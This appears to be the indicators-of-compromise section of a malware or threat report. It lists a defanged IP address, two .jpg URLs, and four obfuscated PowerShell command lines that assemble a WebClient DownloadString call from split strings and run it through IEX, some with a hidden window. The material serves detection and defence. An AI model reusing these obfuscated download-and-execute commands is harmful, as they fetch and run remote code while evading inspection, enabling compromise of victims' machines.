Technical Information
- '18#.#.214.54':80
- http://18#.#.214.54/b.jpg
- http://18#.#.214.54/a.jpg
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' $F5='ject Net.WebCli';$F8='loadString(''http://18#.#.214.54/a.jpg'')';$F4='ent).Down';$F1='(New-Ob';$TC=I`E`X ($F1,$F5,$F4,$F8 -Join '')|I`E`X
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' $F5='ject Net.WebCli';$F8='loadString(''http://18#.#.214.54/b.jpg'')';$F4='ent).Down';$F1='(New-Ob';$TC=I`E`X ($F1,$F5,$F4,$F8 -Join '')|I`E`X
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' $F5='ject Net.WebCli';$F8='loadString(''http://18#.#.214.54/a.jpg'')';$F4='ent).Down';$F1='(New-Ob';$TC=I`E`X ($F1,$F5,$F4,$F8 -Join '')|I`E`X' (with hidden window)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' $F5='ject Net.WebCli';$F8='loadString(''http://18#.#.214.54/b.jpg'')';$F4='ent).Down';$F1='(New-Ob';$TC=I`E`X ($F1,$F5,$F4,$F8 -Join '')|I`E`X' (with hidden window)